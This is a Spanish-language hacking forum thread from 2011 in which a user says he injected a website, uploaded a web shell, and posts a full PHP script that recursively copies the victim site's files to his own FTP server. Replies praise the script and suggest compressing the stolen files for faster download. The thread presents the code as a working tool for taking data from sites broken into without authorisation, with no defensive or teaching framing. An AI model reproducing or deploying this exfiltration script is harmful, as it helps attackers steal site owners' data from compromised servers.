Underc0de

Programación Web => Back-end => Mensaje iniciado por: s00rk en Junio 02, 2011, 05:16:52 AM

Título: Subir Directorios Completos por FTP
Publicado por: s00rk en Junio 02, 2011, 05:16:52 AM
Bueno ahorita son las 2:11 am hehe y pues entrado a una web que logre inyectar me fue muy bien y todo pero a la final pues como cualquier otro deceaba bajarme sus archivos pero como son bastantes no me los iva a bajar 1 por 1 con la shell , entonces decidi hacer un pequeño script que suba las carpetas complestas mediante FTP de mi propia PC y pues asi fue y nada mas eso seria todo paks! xD

So aqui mi codigo:

Código (php) [Seleccionar]
<?php
function getDirectory$path '.'$level 0$c ){

    
$ignore = array( 'cgi-bin''.''..' );

    
$dh = @opendir$path );
    
    while( 
false !== ( $file readdir$dh ) ) ){
    
        if( !
in_array$file$ignore ) ){
            
            
$spaces str_repeat'&nbsp;', ( $level ) );
            
            if( 
is_dir"$path/$file) ){
            
                echo 
"<strong>$spaces $path/$file</strong><br />";
                
Ftp($c,$path."/".$file,1);
                
getDirectory"$path/$file", ($level+1),$c );
            
            } else {
            
                echo 
"$spaces $path/$file<br />";
                
Ftp($c,$path."/".$file,0);
            
            }
        
        }
    
    }
    
    
closedir$dh );



function 
Ftp($c,$l$t)
{
    if(
$t == 1)
    {
        
ftp_mkdir($c,$l);
    }else{
        
ftp_put($c,$l,$l,FTP_BINARY);
    }
}

 
$hostname "**************";
 
$ftp_user_name"***";
 
$ftp_user_pass "***";
 
$conn_id ftp_connect $hostname ); 

 
$login_result ftp_login $conn_id $ftp_user_name $ftp_user_pass ); 
if(
$conn_id && $login_result)
{
    
ini_set('max_execution_time',38000);      
    
getDirectory(".",0,$conn_id);
    
ftp_close($conn_id);
}else{
    echo 
"Error de conexion";
}



?>

Sugerencias y cualquier cosa ahi me dicen n_n
Título: Re:Subir Directorios Completos por FTP
Publicado por: ANTRAX en Junio 02, 2011, 09:44:30 AM
Que buen codigo s00rk!!
Muchisimas gracias por compartirlo!!
Título: Re:Subir Directorios Completos por FTP
Publicado por: Xt3mP en Junio 02, 2011, 10:58:34 AM
Buen código aunque el problema en realidad no es subir, el problema es bajarse directorios completos ya que algunas shells (como la mía) no tienen esa opción, a ver si haces uno para descargar directorios completos, de igual forma buen código.

P.D. Una sugerencia es que no subas directorios por FTP, piensa que no en todas las vulnerabilidades se obtiene un acceso FTP por lo tanto puedes utilizar el método común de formulario con algún bucle; saludos.
Título: Re:Subir Directorios Completos por FTP
Publicado por: s00rk en Junio 02, 2011, 12:18:00 PM
No, osea no me explique bien lo que paso esque subi tu shell y pues vi que no me podia bajar todos los archivos de una ni con el otro que me mencionaste ya que son bastantes archivos entonces lo que decidi fue crear mi servidor FTP local y usando ese codigo lo subi a la web con la shell y ya , ahorita se estan pasando los archivos a mi Servidor FTP hehe.

P.D. O no me explique bien , o no entendi muy bien tu comentario jiji :$
Título: Re:Subir Directorios Completos por FTP
Publicado por: ~ Yoya ~ en Junio 02, 2011, 01:26:30 PM
Si entiendo, puedes hacer una función que descargue todo los archivos de un directorio y un sub directorio.

Solo tendrias que obtener el path de todos los archivos, puedes usar la funcion glob() (http://www.php.net/manual/es/function.glob.php).

Creo que lo mejor seria comprimir todos los archivos y sub directorios de un directorio especifico. Seria como un script que realice un Backup.

Saludos.
Título: Re:Subir Directorios Completos por FTP
Publicado por: Xt3mP en Junio 02, 2011, 02:02:36 PM
Exáctamente como dice YoYa, puedes comprimir todo un directorio o archivo en un .gz o dependiendo y posteriormente forzar la descarga, de esta manera te ahorrarías mucho tiempo.

Y si, ya entendí lo que quisiste decir, es que no te supiste explicar, lo que entendí fue que subiste este script a la página vulnerable y posteriormente forzaste a subir los archivos al FTP, pero me iría más por comprimir todo y luego descargarlo ya comprimido.
Título: Re:Subir Directorios Completos por FTP
Publicado por: s00rk en Junio 02, 2011, 07:28:38 PM
Si de hecho hehe de esta forma si son muchos archivos al final cae por exeso de tiempo o bueno a mi me manda error aunque haya puesto que no tuviera limite ahora hice algo diferente hehe con el mismo metodo, pero checare lo del zip :P
Título: Re:Subir Directorios Completos por FTP
Publicado por: Xt3mP en Junio 02, 2011, 11:32:39 PM
No pasa nada, tambien comprimir muchos archivos puede tirar error (de preferencia envía 1024 en 1024) ya que la mayoría de los hostings trae por defecto 2 MB, pero fue buena tu idea de forzar a subir todo por FTP, saludos.